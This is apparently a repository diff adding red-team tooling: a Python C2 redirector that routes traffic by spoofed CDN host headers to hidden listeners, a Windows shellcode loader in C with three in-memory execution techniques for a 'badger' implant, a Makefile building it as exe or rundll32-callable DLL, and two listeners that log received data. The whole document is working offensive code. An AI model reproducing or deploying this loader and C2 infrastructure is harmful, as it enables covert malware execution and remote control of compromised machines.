||||
import urllib3
|
||||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||||
|
||||
LHOST = "0.0.0.0"
|
||||
LPORT = 443
|
||||
|
||||
listener_bucket = {
|
||||
"managedservices.azureedge.net": "8000",
|
||||
"Amazon CloudFront": "9000",
|
||||
}
|
||||
|
||||
class Stager(BaseHTTPRequestHandler):
|
||||
def _set_headers(self):
|
||||
self.send_response(200)
|
||||
self.send_header("Content-type", "text/html")
|
||||
self.end_headers()
|
||||
|
||||
def _html(self, message):
|
||||
content = f"{message}"
|
||||
return content.encode("utf8")
|
||||
|
||||
def do_GET(self):
|
||||
self._set_headers()
|
||||
self.wfile.write(self._html("404 Not Found"))
|
||||
currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
|
||||
print("[" + currtime + "] GET request from " + self.address_string())
|
||||
for x, y in self.headers.items():
|
||||
print(" - ", x, ": ", y )
|
||||
print("------------------------------------------------------------")
|
||||
|
||||
def do_HEAD(self):
|
||||
self._set_headers()
|
||||
self.wfile.write(self._html("404 Not Found"))
|
||||
currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
|
||||
print("[" + currtime + "] HEAD request from " + self.address_string())
|
||||
for x, y in self.headers.items():
|
||||
print(" - ", x, ": ", y )
|
||||
print("------------------------------------------------------------")
|
||||
|
||||
def do_POST(self):
|
||||
headerValue = ""
|
||||
if 'X-Host' in self.headers:
|
||||
headerValue = self.headers['X-Host']
|
||||
elif 'User-Agent' in self.headers:
|
||||
headerValue = self.headers['User-Agent']
|
||||
if headerValue in listener_bucket:
|
||||
print("Host Header [", headerValue, "] => routing to ", listener_bucket[headerValue])
|
||||
postData = ((self.rfile.read(int(self.headers['content-length']))).decode('utf-8'))
|
||||
response = requests.post('https://localhost:' + listener_bucket[headerValue] + '/request', postData, self.headers, verify=False)
|
||||
self._set_headers()
|
||||
self.wfile.write(response.text)
|
||||
|
||||
def log_message(self, format, *args):
|
||||
return
|
||||
|
||||
def main():
|
||||
if (len(sys.argv) < 3):
|
||||
print("Usage:", sys.argv[0], "<certfile> <keyfile>")
|
||||
return
|
||||
currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
|
||||
print(f"[+] {currtime} Starting external c2 server on {LHOST}:{LPORT}")
|
||||
server = HTTPServer((LHOST, LPORT), Stager)
|
||||
server.socket = ssl.wrap_socket(server.socket, certfile=sys.argv[1], keyfile=sys.argv[2], server_side=True)
|
||||
thread = threading.Thread(None, server.serve_forever)
|
||||
thread.daemon = True
|
||||
thread.start()
|
||||
thread.join()
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,12 @@
|
||||
all:
|
||||
make exe
|
||||
make dll
|
||||
|
||||
exe:
|
||||
x86_64-w64-mingw32-gcc shellcode.c -o shellcode.exe -lntdll -s
|
||||
|
||||
dll:
|
||||
x86_64-w64-mingw32-gcc shellcode.c -o shellcode.dll -lntdll -s -DBUILD_DLL -shared
|
||||
|
||||
clean:
|
||||
rm -rf *.exe *.dll *.bin
|
||||
@@ -0,0 +1,88 @@
|
||||
// NOTE: DO NOT USE THIS TEMPLATE IN ACTIVE ENGAGEMENTS
|
||||
// THIS IS ONLY SUPPOSED TO BE USED FOR TRIAL AND TESTING
|
||||
// SIMILAR TECHNIQUES CAN BE USED INSIDE SIDELOADED DLLS
|
||||
// OR C-SHARP CODE IN HTA/JSCRIPT/MACROS IN ENGAGEMENTS
|
||||
|
||||
// Don't call VirtualFree/NtFreeVirtualMemory or NtUnmapViewOfSection to unmap a memory region
|
||||
// The allocated memory for badger's shellcode does not require cleaning up. Badger is nice. It does that for you :)
|
||||
// however if you execute the staging payload, you will have to cleanup after it
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <winternl.h>
|
||||
#include "shellcode.h"
|
||||
|
||||
// when compiled as an exe, void main acts as the entrypoint
|
||||
// when compiled as a dll, void main is exported, and the exported function can be called with: 'rundll32.exe shellcode.dll,main'
|
||||
#ifdef BUILDDLL
|
||||
__declspec(dllexport) void main();
|
||||
#endif
|
||||
|
||||
extern NTSTATUS NtCreateSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PLARGE_INTEGER MaximumSize, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle);
|
||||
extern NTSTATUS NtMapViewOfSection(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, ULONG InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
|
||||
extern NTSTATUS NtUnmapViewOfSection(HANDLE ProcessHandle, PVOID BaseAddress);
|
||||
|
||||
extern NTSTATUS NtAllocateVirtualMemory(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
|
||||
extern NTSTATUS NtProtectVirtualMemory(IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN OUT PSIZE_T NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection);
|
||||
|
||||
void valloc_badger() {
|
||||
DWORD dwOldProtect = 0;
|
||||
LPVOID addressPointer = VirtualAlloc(NULL, badger_bin_len, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
|
||||
memcpy(addressPointer, badger_bin, badger_bin_len);
|
||||
VirtualProtect(addressPointer, badger_bin_len, PAGE_EXECUTE_READ, &dwOldProtect);
|
||||
((void(*)())addressPointer)();
|
||||
};
|
||||
|
||||
void ntalloc_badger() {
|
||||
ULONG ulOldProtect = 0;
|
||||
LPVOID addressPointer = NULL;
|
||||
SIZE_T shellcodeSize = (SIZE_T) badger_bin_len;
|
||||
NtAllocateVirtualMemory((HANDLE)-1, &addressPointer, 0, &shellcodeSize, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
|
||||
memcpy(addressPointer, badger_bin, badger_bin_len);
|
||||
NtProtectVirtualMemory((HANDLE)-1, &addressPointer, &shellcodeSize, PAGE_EXECUTE_READ, &ulOldProtect);
|
||||
((void(*)())addressPointer)();
|
||||
};
|
||||
|
||||
void ntmapview_badger() {
|
||||
HANDLE hMainShellcodeSection = NULL;
|
||||
LPVOID hlocalSection = NULL;
|
||||
LARGE_INTEGER mainSectionSize = { badger_bin_len };
|
||||
SIZE_T localMapViewSize = 0;
|
||||
|
||||
NtCreateSection(&hMainShellcodeSection, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, &mainSectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, (HANDLE)NULL);
|
||||
localMapViewSize = (SIZE_T) mainSectionSize.QuadPart;
|
||||
NtMapViewOfSection(hMainShellcodeSection, (HANDLE)-1, &hlocalSection, 0, 0, 0, &localMapViewSize, 2, 0, PAGE_READWRITE);
|
||||
memcpy(hlocalSection, badger_bin, badger_bin_len);
|
||||
NtUnmapViewOfSection((HANDLE)-1, hlocalSection);
|
||||
hlocalSection = NULL;
|
||||
localMapViewSize = (SIZE_T) mainSectionSize.QuadPart;
|
||||
NtMapViewOfSection(hMainShellcodeSection, (HANDLE)-1, &hlocalSection, 0, 0, 0, &localMapViewSize, 2, 0, PAGE_EXECUTE_READ);
|
||||
((void(*)())hlocalSection)();
|
||||
};
|
||||
|
||||
void main() {
|
||||
// Only enable one function at a time here
|
||||
valloc_badger();
|
||||
// ntalloc_badger();
|
||||
// ntmapview_badger();
|
||||
|
||||
// the executed shellcode returns after creating a new thread with a spoofed thread entrypoint
|
||||
// Since the thread entrypoint returns, it's recommended not to wait on the thread's handle
|
||||
// Rather wait on the current process's handle so that the process does not exit
|
||||
// If thread wait is required, use the 'wait' shellcode instead of the 'ret' one when generating shellcode from the badger
|
||||
WaitForSingleObject((HANDLE)-1, -1);
|
||||
}
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) {
|
||||
BOOL bReturnValue = TRUE;
|
||||
switch (dwReason) {
|
||||
case DLL_PROCESS_ATTACH: {
|
||||
break;
|
||||
}
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return bReturnValue;
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
#include <windows.h>
|
||||
|
||||
// add your shellcode here
|
||||
// bin files can be converted to shellcode using the following command on kali or ubuntu:
|
||||
// xxd -i badger.bin
|
||||
// copy the output for the above command in this file
|
||||
unsigned char badger_bin[] = {
|
||||
};
|
||||
|
||||
// copy your shellcode length here
|
||||
unsigned int badger_bin_len = 0;
|
||||
@@ -0,0 +1,39 @@
|
||||
import socket
|
||||
import threading
|
||||
|
||||
# Define the host and port to listen on
|
||||
HOST = '0.0.0.0' # Listen on all available interfaces
|
||||
PORT = 443 # Port to listen on
|
||||
|
||||
def handle_client(client_socket, client_address):
|
||||
print(f"Accepted connection from {client_address}")
|
||||
with client_socket:
|
||||
while True:
|
||||
data = client_socket.recv(1024)
|
||||
if not data:
|
||||
# No more data from the client
|
||||
break
|
||||
# Print the received data
|
||||
print(f"Received from {client_address}: {data.decode('utf-8')}")
|
||||
|
||||
def main():
|
||||
# Create a TCP/IP socket
|
||||
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:
|
||||
# Allow the socket to be reused
|
||||
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
# Bind the socket to the host and port
|
||||
server_socket.bind((HOST, PORT))
|
||||
# Listen for incoming connections
|
||||
server_socket.listen()
|
||||
print(f"Listening on {HOST}:{PORT}")
|
||||
|
||||
while True:
|
||||
# Accept a new connection
|
||||
client_socket, client_address = server_socket.accept()
|
||||
# Handle the new connection in a new thread
|
||||
client_thread = threading.Thread(target=handle_client, args=(client_socket, client_address))
|
||||
client_thread.daemon = True # Allow the thread to be killed when the main program exits
|
||||
client_thread.start()
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,48 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
import threading
|
||||
from datetime import datetime
|
||||
from http.server import HTTPServer, BaseHTTPRequestHandler
|
||||
import ssl
|
||||
import sys
|
||||
import urllib3
|
||||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||||
|
||||
LHOST = "0.0.0.0"
|
||||
LPORT = 8081
|
||||
|
||||
class Stager(BaseHTTPRequestHandler):
|
||||
def _set_headers(self):
|
||||
self.send_response(200)
|
||||
self.send_header("Content-type", "text/html")
|
||||
self.end_headers()
|
||||
|
||||
def _html(self, message):
|
||||
return "404 Not Found"
|
||||
|
||||
def do_GET(self):
|
||||
return "404 Not Found"
|
||||
|
||||
def do_POST(self):
|
||||
postData = ((self.rfile.read(int(self.headers['content-length']))).decode('utf-8'))
|
||||
print("[+] Data Received:", postData)
|
||||
return "200 OK"
|
||||
|
||||
def log_message(self, format, *args):
|
||||
return
|
||||
|
||||
def main():
|
||||
if (len(sys.argv) < 3):
|
||||
print("Usage:", sys.argv[0], "<certfile> <keyfile>")
|
||||
return
|
||||
currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
|
||||
print(f"[+] {currtime} Starting external c2 server on {LHOST}:{LPORT}")
|
||||
server = HTTPServer((LHOST, LPORT), Stager)
|
||||
server.socket = ssl.wrap_socket(server.socket, certfile=sys.argv[1], keyfile=sys.argv[2], server_side=True)
|
||||
thread = threading.Thread(None, server.serve_forever)
|
||||
thread.daemon = True
|
||||
thread.start()
|
||||
thread.join()
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user